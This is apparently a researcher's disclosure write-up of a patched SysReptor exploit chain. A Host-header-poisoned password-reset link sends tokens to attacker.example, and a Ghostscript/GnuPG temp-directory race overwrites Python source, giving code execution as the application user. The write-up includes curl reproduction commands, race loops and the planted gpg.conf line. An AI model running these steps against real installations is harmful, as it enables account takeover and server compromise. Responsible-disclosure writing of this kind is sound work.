keyboard_arrow_up

SysReptor: chaining a Host header injection to application-user RCE

On July 20, 2026, I reported two vulnerabilities affecting SysReptor 2026.55 Professional. The first one could turn a password-reset email into an account takeover. The second one chained image processing, a temporary-directory race and GnuPG configuration into remote code execution as the SysReptor application user.

Both issues were published as GitHub Security Advisories:

The complete chain looked like this:

Mermaid diagram of the complete SysReptor exploit chain, from Host-header poisoning to application-user RCE

This was a conditional chain rather than a one-request exploit. The account-takeover entry point affected Professional deployments with password reset enabled and required a known local user without MFA, and the victim opening the email link. Once that produced an authenticated session, the rest of the chain used functionality already present in the affected SysReptor installation.

Now, let's dive into the chain step by step.

The password-reset feature is meant for SysReptor users who authenticate with a local username and password. A user enters their email address, SysReptor creates a time-limited reset token, and the application emails an absolute link back to its own frontend. Opening that link should take the user to SysReptor, where the frontend extracts the token and submits the new password to the API.

To produce the absolute URL, SysReptor used Django's request.build_absolute_uri(). The path and token were generated by the application, but the scheme and hostname could come from request and proxy information. If both the reverse proxy and Django accepted an attacker-controlled Host header, the email could therefore contain a link pointing to an attacker domain:

http://attacker.example/login/set-password/#user=<UUID>&token=<TOKEN>

The reset values are stored in the URL fragment. A fragment is normally not sent to the server, but JavaScript running on attacker.example can read location.hash. If the victim opens the poisoned email link, the attacker receives the user ID and token, sends them to the legitimate reset endpoint, chooses a new password and logs in normally.

The victim still receives a genuine email generated by SysReptor, and the token itself is valid. Only the origin of the link has changed. This is why clicking the link is enough to disclose the fragment to attacker-controlled JavaScript, but the attacker still uses the legitimate SysReptor API to perform the reset.

Password reset is disabled by default, and resetting a password does not remove MFA.

🧪 Reproducing the account takeover

The first request asks SysReptor to send the reset email while supplying the attacker-controlled Host:

BASE=http://127.0.0.1:18090

curl -sS \
  -H 'Host: attacker.example' \
  -H 'Content-Type: application/json' \
  -d '{"email":"victim@example.test"}' \
  "$BASE/api/v1/auth/forgot-password/"

Caido showing the password-reset request with Host set to attacker.example and the successful HTTP 200 response

The genuine SysReptor password-reset email displayed in a local mailbox, with its reset link pointing to attacker.example

The reset button and the fallback URL both pointed to attacker.example. After the victim opens the resulting attacker-origin link, JavaScript on attacker.example extracts the user and token values from location.hash. Those genuine values can then be submitted to the real reset endpoint, followed by a normal login:

RESET_USER='<UUID_FROM_FRAGMENT>'
RESET_TOKEN='<TOKEN_FROM_FRAGMENT>'
NEW_PASSWORD='Lab-Reset-Password-2026!'

curl -sS \
  -H 'Content-Type: application/json' \
  -d "{\"user\":\"$RESET_USER\",\"token\":\"$RESET_TOKEN\",\"password\":\"$NEW_PASSWORD\"}" \
  "$BASE/api/v1/auth/forgot-password/reset/"

curl -sS -c cookies.txt \
  -H 'Content-Type: application/json' \
  -d "{\"username\":\"victim\",\"password\":\"$NEW_PASSWORD\"}" \
  "$BASE/api/v1/auth/login/"

csrf=$(awk '$6=="csrftoken"{print $7}' cookies.txt)

Poisoned password-reset link followed by successful reset, login, note and share requests

cookies.txt now held an ordinary authenticated session, while csrf contained the token required by the next requests. I could use that session as the victim to create a writable note share and reach its image-upload path.

🖼️ Reaching Ghostscript through an image upload

SysReptor notes are used by pentesters to keep project material, observations and attachments. A note can be shared through a public link so that a client or another external person can access it without a SysReptor account. A share can be read-only or writable; with write access enabled, the holder of the link can edit the note and upload images or files. The random share UUID acts as the capability granting that access.

Once authenticated, I created a note and enabled a writable public share. From that point on, uploads through the share link did not need the victim's session cookie: possession of the share UUID and its write permission was sufficient. The account-takeover stage was nevertheless necessary because only an authorized user could create that writable capability in the first place.

The public upload endpoint first tried to handle an uploaded attachment as an image. This is a convenience feature: screenshots pasted into reports can be resized, compressed and converted into a consistent format before storage. If image parsing fails, the upload can fall back to being treated as a regular file.

My attachment used the EPS format. Pillow recognized it as an image, but Pillow does not render PostScript itself. It delegated that work to the Ghostscript binary available in the container. This crossed an important boundary: a feature intended to optimize ordinary screenshots caused attacker-controlled PostScript to be interpreted by a separate native program.

The PostScript payload repeatedly searched for new /tmp/tmp*/ directories. Those directories were interesting because SysReptor also created temporary GnuPG homes under /tmp. When the timing was right, Ghostscript wrote the following configuration into a newly created home:

attribute-file /app/api/src/sysreptor/__init__.py

Ghostscript was running with -dSAFER, a classic Ghostscript option. Writing below /tmp was permitted. The problem appeared when two mutually distrusting subprocesses shared the same writable temporary namespace and Unix identity.

The EPS did not need to predict one exact temporary directory name. It stayed alive long enough to repeatedly enumerate directories matching the pattern used by Python's temporary-directory implementation. Whenever a new candidate appeared, it attempted to place gpg.conf inside it.

🔗 Creating the share and starting Ghostscript

Using the session from the previous stage, I created a note and enabled a writable public share. The note UUID appears in the request path, while the response returns the share UUID and confirms that permissions_write is enabled:

Caido showing the authenticated request that enables a writable note share and the response containing its capability UUID

The share UUID is the value that matters. It acts as a capability for the public upload endpoint, so the EPS can be submitted without the victim's session cookie:

Caido showing the unauthenticated public-share EPS upload, its PostScript payload and the successful HTTP 201 response

I kept the upload running while the following key-validation requests were sent. Pillow identifies the attachment as EPS and starts Ghostscript. The trailing slash in the payload's /tmp/tmp*/ glob was important because it made the tested Ghostscript build return matching directories.

At this point, Ghostscript could only plant configuration files below /tmp. Turning that into a more useful write required another process to create one of those directories and then trust the configuration inside it. SysReptor's OpenPGP key validation did exactly that.

🔑 Turning GnuPG configuration into a Python overwrite

SysReptor's OpenPGP support is part of its encrypted project-archiving feature. When a pentest project is archived, its encryption key can be split into shares, and each share is protected using the public keys registered by the relevant users. Restoring an archive then requires the configured number of users to decrypt their shares. This provides a cryptographically enforced multi-person approval process rather than giving one account permanent access to every archive.

Before SysReptor accepts a user's OpenPGP key, it has to inspect the certificate, check that it contains a supported encryption subkey and verify that the user can decrypt a challenge. The first registration request therefore passes the uploaded certificate to GnuPG for scanning. For isolation, SysReptor created a fresh temporary GnuPG home for this operation.

At the same time as the EPS upload, I repeatedly submitted an OpenPGP certificate to this public-key validation endpoint. The certificate contained a validly signed opaque User Attribute whose bytes were also valid Python source.

If the EPS payload won the race, GnuPG loaded the planted gpg.conf. Its attribute-file option then wrote that User Attribute over sysreptor/__init__.py.

Normally, attribute-file is useful when GnuPG needs somewhere to write non-textual User Attribute packets, such as the image data historically used for OpenPGP photo IDs. Here, the attacker-controlled configuration selected the output path, while the attacker-controlled certificate selected the bytes written there. Together, those two inputs turned a temporary-directory configuration injection into a write to another file owned by the same Unix user.

The test certificate intentionally had no encryption subkey. SysReptor returned HTTP 400 because of that, but only after GnuPG had scanned the key and performed the file-write side effect. In other words, the rejected request did not mean the overwrite had failed.

The official image ran the application, Ghostscript and GnuPG as UID 1000. The application source was also writable by this user. This converted the temporary-directory poisoning into a persistent Python source modification.

🏁 Racing the upload against key validation

The file phase-a.asc was a valid signed certificate containing the opaque User Attribute. Its bytes formed the Python proof payload that would replace sysreptor/__init__.py, generate a fresh nonce and record process metadata in /tmp/sysreptor-rce-proof.json.

While the EPS upload kept Ghostscript running, concurrent key-registration requests created a succession of short-lived GnuPG homes. Each scan gave Ghostscript another opportunity to plant its configuration. This loop sends 72 requests in groups of 12:

for request in {1..72}; do
  curl -sS -o /dev/null \
    -b cookies.txt \
    -H "X-CSRFToken: $csrf" \
    -F 'name=research-key' \
    -F 'public_key=<phase-a.asc' \
    "$BASE/api/v1/pentestusers/self/publickeys/register/begin/" &

  if (( request % 12 == 0 )); then
    wait
  fi
done

wait

GnuPG version from the vulnerable container and the Ghostscript hit log confirming that gpg.conf was planted in a temporary GnuPG home

The registration requests returned HTTP 400 because the certificate deliberately had no encryption subkey. That result only described the final application-level validation; it did not undo the earlier GnuPG side effect. I therefore checked the actual success condition separately:

docker exec sysreptor-manual-app \
  grep sysreptor-rce-proof /app/api/src/sysreptor/__init__.py

SysReptor Python package initialization file overwritten with the proof payload

If the marker appeared in the module, the race had landed and the source overwrite was complete. The existing workers had already imported the package, however, so changing the file on disk did not execute it immediately. That happened later, when Gunicorn started a replacement worker and imported the modified module again.

♻️ Worker recycling executes the payload

Gunicorn serves the application using multiple worker processes. SysReptor configured a finite request limit with a small random jitter, so each worker is periodically replaced after handling enough requests. This is normal operational hygiene: recycling long-lived processes limits the impact of memory leaks and prevents every worker from growing indefinitely.

SysReptor started Gunicorn without --preload, meaning new workers imported the application themselves after they were spawned. Once a worker reached its request limit, Gunicorn replaced it. The new worker imported the overwritten sysreptor/__init__.py from disk and executed the injected Python as part of ordinary module initialization.

My proof generated a fresh nonce at import time and recorded the effective UID and GID, worker PID, container hostname and timestamp. It wrote that JSON to a file and returned the same bytes from the frontend. Matching both values proved runtime execution; the certificate alone could not have produced the nonce or process metadata.

✅ Triggering and verifying execution

Ordinary requests advanced the existing workers towards their configured recycling limit. This loop sends 512 requests in groups of 24, waiting for each group to finish before starting the next one:

for request in {1..512}; do
  curl -sS --max-time 5 -o /dev/null "$BASE/" &

  if (( request % 24 == 0 )); then
    wait
  fi
done

wait

After a replacement worker imported the overwritten module, I compared the unauthenticated HTTP response with the runtime marker written inside the container:

response=$(curl -sS "$BASE/")
proof=$(docker exec sysreptor-manual-app \
  cat /tmp/sysreptor-rce-proof.json)

printf 'HTTP response: %s\n' "$response"
printf 'Runtime proof: %s\n' "$proof"

A successful result contains a fresh random nonce plus the replacement worker's UID, GID, PID, hostname and timestamp. In my tests, euid and egid were both 1000. The HTTP response and the file contained the exact same bytes, confirming runtime execution as the application user rather than a static payload merely written by the certificate.

Matching in-container runtime marker and unauthenticated HTTP response proving execution as UID 1000

The result was code execution as the unprivileged application user, not root. That user could nevertheless access the application data and secrets available to the container, including database and Redis credentials, integrations, storage backends, mounted files and reachable internal services.

This completes the chain: the first request changed who controlled an account, the share converted that access into a public upload capability, the upload reached a PostScript interpreter, the interpreter poisoned GnuPG's configuration, GnuPG overwrote application source, and worker recycling imported it.

🗓️ Conclusion

Date Event
July 20, 2026 I reported the vulnerabilities to the SysReptor team through Github Advisories.
July 21, 2026 Version 2026.58 fixed the Host header issue and partially fixed the RCE chain.
July 21, 2026 The Host header advisory was published.
July 29, 2026 Version 2026.61 shipped the complete RCE fix and additional hardening.
July 30, 2026 The authenticated RCE advisory was published.

The first fix landed very quickly after my initial report. The Sysreptor team was reactive, friendly and transparent throughout the disclosure. They quickly reproduced the findings kept me informed, credited the report properly and implemented several fixes. Ghostscript was totally removed from the project after they found other exploits linked to it.

I initially did this research simply to contribute back to an open-source project I appreciate and have a better understanding of the codebase. The team still offered me a bounty and some SysReptor swag, which was very nice. A big thank to the team for the smooth coordination and for taking the report seriously 💚